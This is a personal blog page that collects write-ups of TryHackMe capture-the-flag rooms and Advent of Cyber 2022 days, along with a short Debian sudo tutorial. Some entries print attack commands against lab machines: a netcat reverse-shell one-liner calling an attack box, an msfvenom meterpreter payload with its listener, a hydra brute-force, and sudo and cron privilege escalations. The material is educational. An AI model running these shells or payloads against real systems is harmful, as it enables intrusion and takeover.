- Step -On my VM Debian Server I had to install the sudo utility first as root user I ran
apt install sudo
- Step is to add user you sudoers file. To do so you need to as root user run visudo and at the end of file add
username ALL=(ALL) NOPASSWD:ALL
- Step is to add user to the sudo group, again as root you run
usermod -aG sudo username
- Step you can now check if you can use sudo command as user you created before and if you followed those steps you should be able to run commands as trusted user
This is my very first blog with the posts about tutorials, walkthroughs and writeups for ethnical hacking and other cyber security themese
Tuesday, October 31, 2023
Debian Server 12 - adding user to sudoers
sudo is a command-line utility that allows trusted users to run commands as another user, by default root.
This tutorial shows two ways to grant sudo privileges to a user.
Thursday, December 29, 2022
TryHackMe - Smag Grotto - writeup
Smag Grotto is one of the easy CTF rooms on the TryHackMe.com.
Here are my steps that lead me to the successful solution and finding both user and root flag.
Before you start you need to boot up the VM and attackbox machine.
AudiTTRSi
- step First I have run nmap scan:
- step I then tried researching the VM with gobuster:
- step Then I opened /mail folder where we find the email correspondence with .pcap trace file.
- step I have downloaded the pcap file and open it with wireshark.In the trace file I have found the new domain where site is located. I also found the username and password for login.
- step To access new domain I have added VM_IP and new domain I have found in .pcap file to the /etc/hosts file on attackbox machine.
- step Now I have entered domain to the web browser and found login.php script and enter credentials from .pcap file.
- step After the login you are at site where you can enter commands. I had to look around the internet to get hint what to do in this step. In this step we initiate the reverse shell and start nc listener on attack box. I have run:
- step In a second I got shell access as www-data. After that I have checked cronjob settings and see that there is copy of the /opt/.backups/jake_ir_rsa.pub.backup public key to the authorised keys. Hmmm I think we could exploit this one by putting our public key instead of legit key.
- step On attackbox machine we can create our public key with following command:
- step Ok in this step I tried to log in to the machine using key. But of course I bit forgot how to do it so I had to look for little help what is exact command to use ssh keys to connect to the machine.
- step Then I can open user.txt file and copy the flag.
- step Now I was missing only root flag and I could access file only as root. I checked what programs I could run as jake user:
- step To do so we head over to the GTFObins and we find the command that we can run as current user to get root access.
- step We can find root flag at:
nmap -sC VM_IPScan gives me that only 2 ports are open - ssh and http. Connection to the page ip, didnt give me much more info.
gobuster dir -t 40 -u VM_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txtWith gobuster I find /mail folder.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Attackbox_IP 1338 >/tmp/fOn the attackbox I have started nc listener:
nc -lvnp 1338
ssh-keygen -t rsa -P '' -f jakekeythen we open key file and copy to the target machine with :
echo "public_key_we_created" > jake_id_rsa.pub.backupNote that you need to create file in /opt/.backups/ folder and filename needs to be as stated above that cronjob will take our file and we can login to the machine.
ssh -i jakekey jake@devleopment.smag.thmthen I pressed enter and I was logged in as jake. We can now search for the user flag.
find / -type f -name user.txt 2>/dev/null
sudo -lOutput of the command showed us that apt-get command can be run as jake user.
cat /root/root.txt
AudiTTRSi
Saturday, December 17, 2022
TryHackMe.com - Advent of Cyber 2022 - Day 17 - writeup
Advent of Cyber is now regular seasonal room on TryHackMe page.
This is their 4th time and again with awsome story to follow each day's assignment.
Day 17 covers topic of the Regular Expressions.
AudiTTRSi
- Question 1, Question 2 To answer first two questions you can use following regular expression:
- Question 3, Question 4 Following regular expression will help you get answers:
- Question 5 Following regular expression will help you get answers:
- Question 6 Following regular expression will help you get answers:
- Question 7 Following regular expression will help you get answers:
- Question 8, Question 9
^[a-zA-Z0-9]{6,12}$
^.+@.+\.com$
lewisham44
maxximax
^.+@.+\.com$
^http(s)?.{3}(www)?.+..+$
AudiTTRSi
TryHackMe - ItsyBitsy - writeup
ItsyBitsy room is second room in Security Information and Event Management module of the SOC Level 1 path on TryHackMe.
Put your ELK knowledge together and investigate an incident.
First you will need to boot up VM and Attackbox which will take few minutes. After attackbox is is booted up we can open Firefox browser and access the Kibana.
AudiTTRSi
- Question 1 - How many events were returned for the month of March 2022? Change the date range to look at March 2022 log and you can answer first question.
- Question 2 -What is the IP associated with the suspected user in the logs? Question is asking about the source_ip filed. From the logs we can see 2 IP addresses so you much work to find right one.
- Question 3 - The user’s machine used a legit windows binary to download a file from the C2 server. What is the name of the binary? Answering this question took me longest time because I didnt find the right answer because I was either looking at wrong place or looked at right answer but not realising this was the answer. Hint look at the user_agent field ;)
- Question 4 - The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site? When we filter by IP from Question 2 we can answer this one quckly because there are only 2 logs from that source_ip.
- Question 5 - What is the full URL of the C2 to which the infected host is connected? Hostname + url field
- Question 6 - A file was accessed on the filesharing site. What is the name of the file accessed? We can connect to the filesharing site from URL from previous question and find a file there.
- Question 7 - The file contains a secret code with the format THM{_____}. Open file in the filesharing site and copy the flag code.
AudiTTRSi
Friday, December 16, 2022
TryHackMe.com - Advent of Cyber 2022 - Day 16 - writeup
Advent of Cyber is now regular seasonal room on TryHackMe page.
This is their 4th time and again with awsome story to follow each day's assignment.
Today's task covers topic of SQL Injection (SQLi).
SQL injection is the placement of malicious code in SQL statements, via web page input.
Attackers will most probably try to querry the database return all of the users and passwords of the application if this vulnerability exist.
Before you start with solving task you need to boot up VM in the task and attackbox for accessing the page. It will probably take a minute or two to boot up.
After that we can open link to the developer page of the app we will try to fix. We login with provided credentials.
AudiTTRSi
- Question 1 - Fixing SQLi by Data Type Validation First we use fix from description of the task to fix first and then second querry in the elf.php file after we have saved and press run we will get the first flag
- Question 2 - Fixing SQLi Using Prepared Statements With prepared statment described in the task we can quickly fix the search_toys.php and get second flag.
- Question 3 To find the third flag we need to fix toy.php we can easly fix it same way we fix the elf.php with data type validation.
- Question 4 For fixing the 4th vunlerability and getting forth flag we will need to fix the login.php. We do it with prepared statment as we did with second flag. Just make sure you use $username and $password instead of $q
AudiTTRSi
TryHackMe.com - Advent of Cyber 2022 - Day 15 - writeup
Advent of Cyber is now regular seasonal room on TryHackMe page.
This is their 4th time and again with awsome story to follow each day's assignment.
Here are my solutions for the Day 15, if anyone gets stuck or need bit of help solving questions.
Today's task is addressing issues of input validation of file upload funtionality and unrestricted file upload vulnerabilities.
If any of these things are implemented during development of the site threat actor can exploit it and get access to the server.
First you need to boot up VM and Attackbox since they will take some time to boot up.
All questions exepct Q3 can be answered by carefully reading task description of vulnerabilities and how to avoid them.
For Q3 we need to create the paypload, we got the command in task description:
AudiTTRSi
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=AttackBox_IP LPORT="Listening port" -f exe -o cv-username.exeIt will take a minute to generate it. It will be saved on attackbox /root folder. then you run second command to create the listener :
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST AttackBox_IP; set LPORT 'listening port'; exploit"After that we can head to the firefox browser and upload the payload file we created with first step. Now we can open listener window and wait until the file that we uploaded to website will be run. When connection is active we can move through directories
- pwd to check where we are
- cd ../..
- we head to the folder HR Elf's Documents directory
- cat flag.txt
AudiTTRSi
Wednesday, December 14, 2022
TryHackMe.com - Advent of Cyber 2022 - Day 14 - writeup
Advent of Cyber is now regular seasonal room on TryHackMe page.
This is their 4th time and again with awsome story to follow each day's assignment.
Here are my solutions for the Day 14, if anyone gets stuck or need bit of help solving questions.
First you need to boot up VM and attackbox since they will take some time to boot up.
After both VM and attackbox machine are booted up you can open the website on provided ip and port 8080
and log in with credentials provided in description of the task.
Because of vulnerability present in the website applicaton we can freely change ids in the web address and we cycle (changing profile id numbers) through registered users and find answer to the first question.
For second one we copy profile picture and we change id number for images, because profile images have same vulnerability and we can cycle through pictures and we can find the picuter containing flag which is answer of the second question. I hope anyone who gets stuck finds it helpful
AudiTTRSi
For second one we copy profile picture and we change id number for images, because profile images have same vulnerability and we can cycle through pictures and we can find the picuter containing flag which is answer of the second question. I hope anyone who gets stuck finds it helpful
AudiTTRSi
Tuesday, December 13, 2022
TryHackMe.com - Advent of Cyber 2022 - Day 13 - writeup
Advent of Cyber is now regular seasonal room on TryHackMe page.
This is their 4th time and again with awsome story to follow each day's assignment.
Here are my solutions for the Day 13, if anyone gets stuck or need bit of help solving questions.
In today's task main program will be Wireshark. Wireshark is free and opensource package analyzer which will help us solve today's task.
Before you start answering questions you need to start the VM, which it takes few minutes.
After the VM is booted up you can open trace file which is placed on desktop.
AudiTTRSi
- Q1
- Q2
- Q3
- Q4
- Q5 & Q6 & Q7 & Q8
- Q9
- Q10
When you opened the file you can open drop down meanu options Statistics / Protocol Hierarchy. With data from popup window we can answer first question.
We can now close Procotol Analysis window and open Statistics / Conversation under TCP tab where you will find all data to answer second question.
For answering this question you will need to google what service uses this port.
In search/filter bar you write DNS to filter only dns packages and in the packets under Query / Name we can see domain names that were searched. Dont forget to defang answers. Defanging is process to format url in such way that it can't be clcked by accident. You should forget to put in alphabetical order.
We filter by http requests and then we can find answers from 5 to 8.
For exporting files from trace we head to File/ Export Objects/ HTPP... and we download the file. For obtaining the hash value of the file can run
sha256sum filenameand copy part of the output.
Open Virus total and copy hash value of mailcious file and in thab behavour you will find answer to this last question. Dont forget to defang answers.
AudiTTRSi
Thursday, December 8, 2022
TryHackMe - Year of the Rabbit - writeup
Year of the Rabbit is the beginer friendly CTF room on TryHackMe.com.
How ever i strongly suggest that this isnt your very first CTF room. Because this one is pretty long and not so straight forward as you would suspect from easy room.
Here is my "journey" through the VM we need to hack in and
AudiTTRSi
- step
- step
- step
- step
- step
- step
- step
As usually I started with nmap scan:
nmap -sS VM_IPOutput looks promissing with open ftp, ssh and http port.
I tried if ftp might allow us anonymous log in but without luck it doesnt allow. We will return to the ftp later.
In this step we will run our friend gobuster.
gobuster dir -u http://VM_IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,htmlOutput directs us to the /assets folder where we find 2 files.
Well we got some text and a video. The text suggest that hint is in the video so i went for that but no luck. I tried looking around the web for hint and suggestion was to use burp suite. We use it to intercept the get request for page /sup3r_s3cr3t_fl4g.php in response we find the hidden folder.
Open the hidden folder we got in previous step we find picture of the girl. Hmm what could we do with it maybe some meta data.
strings hot_babe.pngVoila we get list of possible password and username for FTP access.
We use hydra tool:
hydra -l ftpuser - P possible_pass.txt ftp:/vm_ipHydra will run fast because of short list and you get log in to the ftp with username and password:
ftp VM_IPWe are prompted for credentials. After login we use ls and we see Eli's_Creds.txt. I have downloaded filed to attackbox:
get Eli's_Creds.txt
I have opened file on attackbox at first file looks like jibrish but I think I saw once this before.
I have looked around the web for brainfuck language. I have confirmed that this is brainfuck and I used this decoder
This one gave us ssh credentials.
ssh username@VM_IPWe enter password we got with decoded and the login we get hint were to look for flag? or soemthing else? we have found another credendetials.
su another_usernameAfter logged in new account I checked home folder of user where you find the user.txt flag.
Ok we got user flag, lets try to escalate priviliges. We check if we can run any command as root user.
sudo -lFrom output I saw you can run vi program. I headed over to the GTFObins and see what command will help us to get the root access.
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txtthen we ctrl + c and we type in !/bin/sh and voila we have root access.
cd /root
ls
cat root.txt
AudiTTRSi
Wednesday, December 7, 2022
TryHackMe.com - Advent of Cyber 2022 - Day 7 - writeup
Advent of Cyber is now regular seasonal room on TryHackMe page.
This is their 4th time and again with awsome story to follow each day's assignment.
Here are my solutions for the Day 7, if anyone gets stuck.
Firstly start the VM that is attached to the task, for me it took about 2 or 3 minutes that machine booted up.
Today's task is pretty easy just follow step by step instructions provided in the task description and you will have answers in few minutes.
After machine booted up you open the FF browser and open cyberchef bookmark.
AudiTTRSi
After machine booted up you open the FF browser and open cyberchef bookmark.
- Q1
- Q2
- Q3
- Q4
- Q5
Cyberchef verison is written in top left corner of the app.
To answer the question you just count steps (or recepies)
You will be able to find name of file in first line of the output of cyberchef
Dont forget to defang URL as I did before entering it as answer.
You find this one too in the out put of cyberchef
AudiTTRSi
Tuesday, December 6, 2022
TryHackMe.com - Advent of Cyber 2022 - Day 6 - writeup
Advent of Cyber is now regular seasonal room on TryHackMe page.
This is their 4th time and again with awsome story to follow each day's assignment.
Here are my solutions for the Day 6, if anyone gets stuck.
Open the email in text editor and can solve most of the questions with analysis
AudiTTRSi
- Q1
- Q2
- Q3
- Q4
- Q5
- Q6
- Q7
- Q8
- Q9
Answer hides in 4th line of the email file - From:
Answer hides in 14th line of the email file - Return-Path:
Answer hides in 4th line of the email file.
Answer hides in 11th line of the email file - X-spam score
Copy value from message ID to the CyberChef and decode from base64. Output is the answer to this question.
GO to EmailRep and enter the sender email. Answer will appear right below the entry box where you have entered email.
Open terminal and move to the eml_attachments fodler on desktop and run:
sha256sum file_nameto get hash value which is the answer of Q7.
Visit VirusTotal site and enter attachment's hash
Visit InQuest site, enter attachment's hash and look for answer on the site
AudiTTRSi
Subscribe to:
Comments (Atom)
TryHackMe - Shadow Trace Writeup
Shadow Trace is premium room on TryHackMe.com part of the SOC Level 1 Path. We need to analyse a suspicious file, uncover hidden clues, an...
-
It has been a while since my last tinkering around VM machines on my laptop. Today I just had little bit of time to install new Debian 13 ...
-
This is my first writeup/walkthrough post for the TryHackMe website. TryHackMe is online platform for learning cyber security, using hand...